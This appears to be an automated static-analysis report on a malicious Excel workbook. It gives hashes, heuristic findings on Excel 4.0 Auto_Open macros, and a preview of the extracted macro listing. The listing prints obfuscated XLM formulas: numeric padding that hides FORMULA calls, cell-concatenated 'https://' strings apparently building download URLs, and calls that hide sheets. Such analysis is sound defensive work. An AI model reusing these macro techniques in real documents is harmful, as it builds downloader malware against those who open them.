Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 803869fe9f01a813…

MALICIOUS

Office (OLE) / .XLS

233.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel First seen: 2026-06-13
MD5: ce1a012fe0e814ee365d5563767ff71b SHA-1: a77aafd0b7d4d7c65dfc0952ebf5d125ad98154c SHA-256: 803869fe9f01a8131a613e4f39e3ac3fd5f24e83d08110d9c3b97b303bf77d90
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 16921 bytes
SHA-256: 9602157845b114feea95e6556f85f3eebacbcf002176e3a4a95919bc707fd07f
Preview script
First 1,000 lines of the extracted script
' 0085     12 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Doc
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Doc
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Doc
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Doc
' 0018     32 LABEL : Cell Value, String Constant - _xlfn.AGGREGATE hidden len=2 ptgErr  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x1d'
' 0018     31 LABEL : Cell Value, String Constant - _xlfn.F.INV.RT hidden len=2 ptgErr  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x1d'
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Doc!CA7 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Doc,CJ29,"",0.00000000000000000000
'  Doc,CO41,"LEFT("LdecvsbgvrsxLxrgxg",1)",""
'  Doc,BW19,HALT(),""
'  Doc,CD15,"ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=FORMULA("U"& Doc!BY16& Doc!CL29& Doc!CL30, Doc!BY10)",""
'  Doc,CD16,"['FORMULA(\x00Doc!CJ39&\x00Doc!CO28&\x00Doc!BY17&\x00Doc!CJ43&\x00Doc!BY10&\x00Doc!CJ41&\x00Doc!CJ42&\x00Doc!CJ41&\x00Doc!BY11&\x00Doc!CJ41&\x00Doc!CJ42&\x00Doc!CJ41&\x00Doc!BY12&\x00Doc!CJ41&\x00Doc!CJ45&\x00Doc!CJ42&\x00Doc!CJ41&"https://"&\x00Doc!BY13&\x00Doc!CJ41&\x00Doc!CJ42&\x00Doc!CJ41&\x00Doc!CI24&\x00Doc!CJ41&\x00Doc!CJ45&\x00Doc!CJ45&\x00Doc!CJ44,\x00Doc!BW10)', '452354.00000000000000000000=SUMXMY2(45245)']",""
'  Doc,CA17,"FORMULA( Doc!CL28, Doc!BY16)",""
'  Doc,CD17,"FORMULA( Doc!CJ39& Doc!CO28& Doc!BY17& Doc!CJ43& Doc!BY10& Doc!CJ41& Doc!CJ42& Doc!CJ41& Doc!BY11& Doc!CJ41& Doc!CJ42& Doc!CJ41& Doc!BY12& Doc!CJ41& Doc!CJ45& Doc!CJ42& Doc!CJ41&"https://"& Doc!BY14& Doc!CJ41& Doc!CJ42& Doc!CJ41& Doc!CI25& Doc!CJ41& Doc!CJ45& Doc!CJ45& Doc!CJ44, Doc!BW11)",""
'  Doc,CG17,"WORKBOOK.HIDE("Doc2",1)",""
'  Doc,CA18,"FORMULA( Doc!CO36, Doc!BY13)",""
'  Doc,CD18,GOTO( Doc!BW8),""
'  Doc,CG18,"WORKBOOK.HIDE("Doc3",1)",""
'  Doc,CA19,"FORMULA("U"& Doc!BY16& Doc!CL32& Doc!CJ31& Doc!CL31& Doc!CL34& Doc!CJ32&"eA", Doc!BY11)",""
'  Doc,CG19,"WORKBOOK.HIDE("Doc4",1)",""
'  Doc,CA20,"FORMULA( Doc!CO41, Doc!BY17)",""
'  Doc,CG20,"ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=ABS(87452634867213107329589011813285672510464283272130242348751686885912109163959323297595260510582865920.00000000000000000000)=ACOS(78947561234876795599709969853406929702810725797355505844224.00000000000000000000)=ACOSH(8769769797897860545492382096123330822144.00000000000000000000)=FORMULA("="& Doc!CG29& Doc!CG36& Doc!CG37& Doc!CG38& Doc!CG34& Doc!CG35& Doc!CG34& Doc!CI24& Doc!CG33, Doc!BW14)",""
'  Doc,CA21,"FORMULA( Doc!CO37, Doc!BY14)",""
'  Doc,CG21,"FORMULA("="& Doc!CG29& Doc!CG36& Doc!CG37& Doc!CG38& Doc!CG34& Doc!CG35& Doc!CG34& Doc!CI25& Doc!CG33, Doc!BW15)",""
'  Doc,CG22,CD12(),""
'  Doc,CA25,"FORMULA( Doc!CM28& Doc!CM29& Doc!CM30&"B", Doc!BY12)",""
'  Doc,CA26,CG16(),""

Open this report in the interactive analyzer, or submit your own file for analysis.